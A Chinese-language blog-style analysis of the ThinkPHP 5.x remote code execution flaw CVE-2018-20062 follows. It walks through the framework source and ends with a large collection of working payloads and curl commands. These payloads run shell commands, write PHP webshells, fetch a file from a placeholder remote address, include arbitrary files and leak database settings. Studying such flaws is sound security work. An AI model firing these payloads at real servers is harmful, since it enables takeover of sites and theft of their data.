ThinkPHP修炼计划 CVE-2018-20062

前言

疯狂恶补以前拉下的东西。

影响范围

5.0.x< 5.0.24、5.1.x<5.1.31

__construct变量覆盖RCE

例子

1
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id'  

原理

5.0.22

版本thinkphp_5.0.22

public/index.php开始。

1
2
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

跟进到thinkphp/start.php

1
2
// 2. 执行应用
App::run()->send();

继续跟进run方法,前面是一堆初始化信息,一直到这边获取调度信息,初始化为空,因此开始进行路由检测,调用routeCheck方法。

1
2
3
4
5
6
7
8
9
10
11
12
public static function run(Request $request = null)
{
// ...
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// ...
}

开局一个$request->path()调用。

1
2
3
4
5
6
7
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// ...
}

path方法中,开头拿到$suffixhtml,继续跟进$this->pathinfo()

1
2
3
4
5
6
7
8
9
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix'); // html
$pathinfo = $this->pathinfo();
// ...
}
return $this->path;
}

$pathinfo为空,进入判断兼容模式参数,Config::get('var_pathinfo')初始为s,即POCGET传参的s赋值给$_SERVER['PATH_INFO'],然后销毁变量。

由于赋值后不为空,因此继续赋值captcha$pathinfo,然后返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}

// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}

返回path方法后,前面拿到$suffix不为false,进入第二个if语句,返回$pathcaptcha

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}

$pathcaptcha$depr默认为/,下一步判断,self::$routeCheck初始为空,而config['url_route_on']初始为true,因此进入路由检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}
// ...
}
// ...
}

路由缓存暂无,因此读取路由配置文件public/../application/route.php,并根据配置注册路由。

1
2
3
4
5
6
7
8
9
10
return [
'__pattern__' => [
'name' => '\w+',
],
'[hello]' => [
':id' => ['index/hello', ['method' => 'get'], ['id' => '\d+']],
':name' => ['index/hello', ['method' => 'post']],
],

];

然后又回到了routeCheck方法。

1
2
3
4
5
6
7
public static function routeCheck($request, array $config)
{
// ...
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
// ...
}

然后来到Route::check方法,前面一堆检查缓存和检查路由别名的操作,然后解析$request->method()

1
2
3
4
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
// ...
$method = strtolower($request->method());

跟进method方法,var_method初始为_method,即当POST存在_method参数的时候,将传入的值赋给$this->method

因此POC中传入的_method=__construct在这里发挥作用,赋值__construct$this->method,然后在下一步被动态调用,指向了$this->__construct,并将POST数组作为option传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

跟进__construct方法,可以看到property_exists方法校验$option的键值对,当存在属于Request类的成员变量名的时候,可以对成员变量的值进行覆盖,因此构造传入的filtermethod都成功覆盖了变量,使得$this->filter[]=system$this->method=get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}

// 保存 php://input
$this->input = file_get_contents('php://input');
}

接着一系列操作返回run方法,此时$dispatch的值如下。

1
2
3
4
5
6
$dispatch = {array} [3]
type = "method"
method = {array} [2]
0 = "\think\captcha\CaptchaController"
1 = "index"
var = {array} [0]

接下来,如果没开debug,会进入exec方法,如果开启debug,就会进入Log操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static function run(Request $request = null)
{
// ...
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

// 监听 app_begin
Hook::listen('app_begin', $dispatch);

// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);

$data = self::exec($dispatch, $config);
// ...
}

没开debug

跟进exec方法,由于$dispatch['type']的值为method,因此进入case 'method'

1
2
3
4
5
6
7
8
9
10
11
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
// ...
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
// ...
}
}

跟进param方法。

1
2
3
4
5
6
7
8
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// ...
}
// ...
}

获取$method的值,跟进method方法,带进的参数为true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

传入的是true,继续跟进server方法。

1
2
3
4
5
6
7
8
9
10
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

非空非数组,直接return,跟进input方法。

此时后面传入的$dataREQUEST_METHOD=id$nameREQUEST_METHOD$defaultnull$filter为空字符串。

前面解析$name$type赋值为s,到下面的for循环直接将$data赋值为id,然后开始解析过滤器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);
// ...
}

$filter$default两个为空值,直接将之前类中覆盖的$this->filter传给局部变量的$filter,并返回,此时值为{"system", null}[2]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;
return $filter;
}

返回input方法后,由于data是字符串不是数组,因此跟进filterValue方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function input($data = [], $name = '', $default = null, $filter = '')
{
// ...
// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
// ...
}

$value值为id$keyREQUEST_METHOD$filter是带有system字符串的数组。

接着array_pop方法将null弹出,剩一个system在数组中,for循环判断system为回调函数,调用call_user_func直接命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
// ...
}
return $this->filterExp($value);
}

然后将执行的结果通过filterExp过滤后带回,默认过滤的是sql注入。

1
2
3
4
5
6
7
8
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOT EXISTS|NOTEXISTS|EXISTS|NOT NULL|NOTNULL|NULL|BETWEEN TIME|NOT BETWEEN TIME|NOTBETWEEN TIME|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}

然后就是一路将命令执行的结果带回,导致后面的switch case直接进入default case,再往后的数据带回暂且不提,调用栈如下。

1
2
3
4
5
6
7
8
9
Request.php:1083, think\Request->filterValue()
Request.php:1029, think\Request->input()
Request.php:865, think\Request->server()
Request.php:522, think\Request->method()
Request.php:637, think\Request->param()
App.php:469, think\App::exec()
App.php:139, think\App::run()
start.php:19, require()
index.php:17, {main}()

开启debug

进入Log操作后,跟进$request->param(),合并后paramarray{0=>id}数组,然后返回带进input方法。

1
2
3
4
5
6
7
8
public function param($name = '', $default = null, $filter = '')
{
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
// ......
return $this->input($this->param, $name, $default, $filter);
}

然后步骤就跟上面未开启debug的一样了,传入的$data一顿操作变成字符串id然后继续调用filterValue方法。

1
2
3
4
5
6
7
8
9
10
11
public function input($data = [], $name = '', $default = null, $filter = '')
{
// ......
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
// ......
}

后面就跟上面的一样了,附上调用栈。

1
2
3
4
5
6
7
Request.php:1083, think\Request->filterValue()
Request.php:1026, array_walk_recursive()
Request.php:1026, think\Request->input()
Request.php:661, think\Request->param()
App.php:126, think\App::run()
start.php:19, require()
index.php:17, {main}()

一些疑惑

get传入的s=captchapost传入的method=get好像没啥用,应该是小版本的问题,未测。

POC

5.0.0-5.0.20

1
2
3
4
5
6
7
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.8-5.0.20

1
2
POST ?s=index/index
c=system&f=calc&_method=filter

5.0.13-5.0.23

有captcha路由时无需debug=true

1
2
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.21-5.0.23

有captcha路由时无需debug=true

1
2
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

默认debug=false,需要开启debug 命令执行

1
2
3
4
5
6
POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')

5.0.23

debug无关,路由为captcha

1
2
3
4
5
6
7
8
9
10
11
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha/whoami' -d '_method=__construct&filter[]=system&method=GET'
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id'
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha' -d '_method=__construct&method=GET&filter[]=system&get[]=whoami'

curl 'http://127.0.0.1:18888/tp5/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'

http://127.0.0.1:18888/tp5/public/index.php?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件

开启debug

1
2
3
4
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id'

curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&method=GET&filter[]=system&get[]=whoami'

1
2
3
4
5
6
7
8
9
10
11
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id'

curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d 'aaaa=id&_method=__construct&method=POST&filter[]=system'
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d 's=id&_method=__construct&method=POST&filter[]=system'
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&method=GET&filter[]=system&get[]=whoami'


curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d 'c=system&f=whoami&_method=filter'
curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha/whoami' -d '_method=__construct&filter[]=system&method=GET'


5.1.x

1
2
3
4
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?> //shell生成在runtime/temp/md5(template).php
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('远程地址','333.php')
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

未开启强制路由RCE

Refer

ThinkPHP v5 RCE漏洞分析与收集

Thinkphp5 RCE总结